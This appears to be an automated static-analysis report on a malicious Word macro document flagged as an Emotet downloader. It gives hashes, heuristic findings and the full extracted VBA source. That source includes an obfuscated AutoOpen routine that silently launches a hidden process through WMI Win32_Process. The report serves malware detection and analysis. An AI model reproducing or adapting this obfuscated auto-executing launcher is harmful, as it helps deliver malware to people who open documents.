Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2b705178a0a15e63…

MALICIOUS

Office (OLE)

137.1 KB Created: 2019-05-30 14:48:00 Authoring application: Microsoft Office Word First seen: 2021-02-09
MD5: d1f5c02db4de7ce00249ecdf82672251 SHA-1: cc5dee70493af047322003d80041e0992c0d76f4 SHA-256: 2b705178a0a15e634c582853d6b8794f72f80f76cbcaa1105b6ea3d25febba3c
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(("win" _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen( _
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9670 bytes
SHA-256: 650e4990cdc8304d81d9d8cdd3226843fc6f5212d5c7c7d026d7543dd6d07ea0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "QZzGnzo, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "QB3XfUno, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "B70juN, 2, 2, MSForms, ComboBox"
Function nbAqRI1I()
   'Select Case "r44z6qv6"
        ' Case "VK_sdkr"
           ' Debug.Print _
'"EwU9UDX"
           ' Debug.Print  "cvRiCK"
           ' Debug. _
'Print  Tan("YNYi4r_f")
       '  Case "io4ztLq"
           ' Debug.Print  Log("a7iwiUqW")
          '  Debug.Print  "wHzmfG"
          '  Debug.Print _
'"DMFVcA"
'End Select
   'Select Case "YAqwEwN"
        ' Case "UajXYEl"
           ' Debug.Print _
'"jfQMMA7i"
           ' Debug.Print  "muFnd5l"
           ' Debug. _
'Print  Tan("jhWu5qLm")
       '  Case "iYPRC7fY"
           ' Debug.Print  Log("i4kmwdmS")
          '  Debug.Print  "YzToCL"
          '  Debug.Print _
'"ShAYCqiD"
'End Select
End Function
Sub _
autoopen( _
)
   'Select Case "COflKB"
        ' Case "kPb6pt"
           ' Debug.Print _
'"WtQ0oI9"
           ' Debug.Print  "irllYu"
           ' Debug. _
'Print  Tan("CD5d2LUT")
       '  Case "bfic3k7P"
           ' Debug.Print  Log("Ni5QaUf")
          '  Debug.Print  "XTjV_lp"
          '  Debug.Print _
'"di7qcUbk"
'End Select
WKm1aG
   'Select Case "jdwwEa"
        ' Case "L7Yin0V_"
           ' Debug.Print _
'"oroGn1"
           ' Debug.Print  "Uvaaa74G"
           ' Debug. _
'Print  Tan("NGQq8WqI")
       '  Case "EtiaI9k"
           ' Debug.Print  Log("d28BLBz")
          '  Debug.Print  "Zclh4ntL"
          '  Debug.Print _
'"mSbiWR"
'End Select
End Sub
Function zSdW7j()
   'Select Case "TfuVrS"
        ' Case "Um7NhdF"
           ' Debug.Print _
'"GCk0lfQV"
           ' Debug.Print  "GFJjP7z"
           ' Debug. _
'Print  Tan("iwLJCt")
       '  Case "UMsWV_"
           ' Debug.Print  Log("qJQwAd_")
          '  Debug.Print  "YjPDqRvc"
          '  Debug.Print _
'"C84hPbO"
'End Select
   'Select Case "ZRPtK1"
        ' Case "b6ik7j"
           ' Debug.Print _
'"pTYcZur_"
           ' Debug.Print  "Ebq_zu"
           ' Debug. _
'Print  Tan("fTcrc_z")
       '  Case "PD4WurDO"
           ' Debug.Print  Log("j1vkQz0")
          '  Debug.Print  "ZhGvHS"
          '  Debug.Print _
'"XG2YqDD"
'End Select
End Function


Attribute VB_Name = "hNQIWzn0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "BbQuYipD"

Attribute VB_Name = "Ht1LJz"

Attribute VB_Name = "wtzlHRip"

Attribute VB_Name = "jomK2NNX"

Attribute VB_Name = "cEwdLBpj"

Attribute VB_Name = "OAjloB"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MBFW9Hf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lNsrcWh"
Function zBuHNZ2()
   'Select Case "iM4m2S_"
        ' Case "iB3ndiw"
           ' Debug.Print _
'"whq5pSLk"
           ' Debug.Print  "nXDF7bD"
           ' Debug. _
'Print  Tan("MPwEmsP")
       '  Case "bcShdJ"
           ' Debug.Print  Log("rwikbQJ")
          '  Debug.Print  "Pm77Mau"
          '  Debug.Print _
'"cMdDMZ"
'End Select
   'Select Case "QHFztDu"
        ' Case "JUfA86mv"
           ' Debug.Print _
'"aOBTTr"
           ' Debug.Print  "UujvlW8"
           ' Debug. _
'Print  Tan("dzZi34wZ")
       '  Case "p1vH9zp"
           ' Debug.Print  Log("PwzH9q")
          '  Debug.Print  "NauIDiG"
          '  Debug.Print _
'"ZjoVN6wF"
'End Select
End Function
Function WKm1aG()
   'Select Case "dpw12AH"
        ' Case "YrzT3h_"
           ' Debug.Print _
'"qizqRaz"
           ' Debug.Print  "zDav2ua"
           ' Debug. _
'Print  Tan("Ahic0isk")
       '  Case "nwZ9hzd"
           ' Debug.Print  Log("uYXABkLs")
          '  Debug.Print  "rC4uu0j7"
          '  Debug.Print _
'"R0sZiEn"
'End Select
   'Select Case "PSsqAj6"
        ' Case "JFvirh"
           ' Debug.Print _
'"wamGzd2"
           ' Debug.Print  "nYzdZuK"
           ' Debug. _
'Print  Tan("LoqB9kmZ")
       '  Case "XnfCif_m"
           ' Debug.Print  Log("Y125qv")
          '  Debug.Print  "kzWkPwT"
          '  Debug.Print _
'"udBiaLGT"
'End Select
CreateObject(("win" _
+ "mg") + ("mts:W" _
+ "in" + "32_Process") + _
"").Create# ThisDocument.QB3XfUno + ThisDocument.B70juN + ThisDocument.QZzGnzo, M9aHf_Z, nmvlGww, oWMDPrfZ
   'Select Case "HS1AXi4p"
        ' Case "wCJp7l"
           ' Debug.Print _
'"CQNGCJw"
           ' Debug.Print  "dGIzjh"
           ' Debug. _
'Print  Tan("OwXCzF")
       '  Case "BzBBtzR"
           ' Debug.Print  Log("E5kCQqN")
          '  Debug.Print  "QjdhZfj"
          '  Debug.Print _
'"qZTQLAi"
'End Select
End Function
Function zawzzLdn()
   'Select Case "nztObN5"
        ' Case "XoE4ft"
           ' Debug.Print _
'"zTLCvTL"
           ' Debug.Print  "vX1cR97t"
           ' Debug. _
'Print  Tan("abbMdCUi")
       '  Case "PHpIQrm"
           ' Debug.Print  Log("AdhPpSh")
          '  Debug.Print  "IrJKovMM"
          '  Debug.Print _
'"lAbwlm"
'End Select
   'Select Case "W2_hSz"
        ' Case "faHkEwk"
           ' Debug.Print _
'"kntCaU"
           ' Debug.Print  "mTPO2M"
           ' Debug. _
'Print  Tan("UJihji")
       '  Case "XIwp0v"
           ' Debug.Print  Log("kOlMCG")
          '  Debug.Print  "JfhizVv"
          '  Debug.Print _
'"YqpFJk"
'End Select
End Function


Attribute VB_Name = "iSiKD_t"
Function flzDSJ0()
   'Select Case "lSN7MG"
        ' Case "vwFG6RB"
           ' Debug.Print _
'"U5n0i2MZ"
           ' Debug.Print  "iDGb_37i"
           ' Debug. _
'Print  Tan("EbcOWLL3")
       '  Case "QwqD9rzP"
           ' Debug.Print  Log("BjjRFX1")
          '  Debug.Print  "M_z1E4"
          '  Debug.Print _
'"UnWqUSz"
'End Select
   'Select Case "o4fDqDi9"
        ' Case "GZ40k__"
           ' Debug.Print _
'"D1M24_J"
           ' Debug.Print  "zIztwXN5"
           ' Debug. _
'Print  Tan("ZP0IZ902")
       '  Case "U1ith6D"
           ' Debug.Print  Log("fDjEpB")
          '  Debug.Print  "UmfwqoQ"
          '  Debug.Print _
'"Esw46J"
'End Select
End Function
Function nmvlGww()
   'Select Case "k8Tj6D9"
        ' Case "CvObHNS5"
           ' Debug.Print _
'"jv7RqOO"
           ' Debug.Print  "cpX0wSf9"
           ' Debug. _
'Print  Tan("PqNRE32C")
       '  Case "T8k8aPr"
           ' Debug.Print  Log("jUr0NSE")
          '  Debug.Print  "WImQV9F1"
          '  Debug.Print _
'"sa1MlcY"
'End Select
Set nmvlGww = CreateObject(("win") _
+ ("mg" + "mts:W" + _
"in" + "32_Proces" + "sstar") _
+ "tup")
   'Select Case "OBdj9zZ"
        ' Case "cdjLLS"
           ' Debug.Print _
'"su0IJkPY"
           ' Debug.Print  "lD_Ai0"
           ' Debug. _
'Print  Tan("ijrQFHG")
       '  Case "u98RL4S"
           ' Debug.Print  Log("GSHcOKid")
          '  Debug.Print  "Dh7iGond"
          '  Debug.Print _
'"h2BQFWb"
'End Select
With nmvlGww
   'Select Case "wzqwikh"
        ' Case "VwzMR1bj"
           ' Debug.Print _
'"caJNRfL2"
           ' Debug.Print  "KisQCLv"
           ' Debug. _
'Print  Tan("mHwphw0")
       '  Case "HzAnpSJ9"
           ' Debug.Print  Log("URTt6Jp")
          '  Debug.Print  "cKGFv3"
          '  Debug.Print _
'"nwmcTiW"
'End Select
. _
ShowWindow = izaHEWM + XY3j316 + CuPvrrX + GFz8AG + FobFu5
   'Select Case "M3C2Ji84"
        ' Case "GXOWi_"
           ' Debug.Print _
'"wrih2Q"
           ' Debug.Print  "KivVVWsB"
           ' Debug. _
'Print  Tan("FmTbfnh")
       '  Case "wwNr_o"
           ' Debug.Print  Log("uQtBzz")
          '  Debug.Print  "UIwpwq"
          '  Debug.Print _
'"H3p9fL6_"
'End Select
End With
   'Select Case "QosdTGZ"
        ' Case "jDW2jHm"
           ' Debug.Print _
'"WHZzkIWb"
           ' Debug.Print  "X530LtOu"
           ' Debug. _
'Print  Tan("UuD4S2")
       '  Case "ajSppGUN"
           ' Debug.Print  Log("CkG3fdp")
          '  Debug.Print  "EKHVXNGR"
          '  Debug.Print _
'"biuUn7"
'End Select
End Function
Function Mwo0irrz()
   'Select Case "ij2uVZ0"
        ' Case "phODmDM"
           ' Debug.Print _
'"OmoaYi"
           ' Debug.Print  "jGbWqAT"
           ' Debug. _
'Print  Tan("Kkt0Wt")
       '  Case "mYdSF5wJ"
           ' Debug.Print  Log("n6PKXl1")
          '  Debug.Print  "rCHj7OU2"
          '  Debug.Print _
'"S74UvoFq"
'End Select
   'Select Case "XB3NqT"
        ' Case "vMhTNTw"
           ' Debug.Print _
'"JuiOzW"
           ' Debug.Print  "swWfFw"
           ' Debug. _
'Print  Tan("YuwKpsA")
       '  Case "ZorDwj"
           ' Debug.Print  Log("K8ZR9pq")
          '  Debug.Print  "qhLA1Y"
          '  Debug.Print _
'"mj_bWduv"
'End Select
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.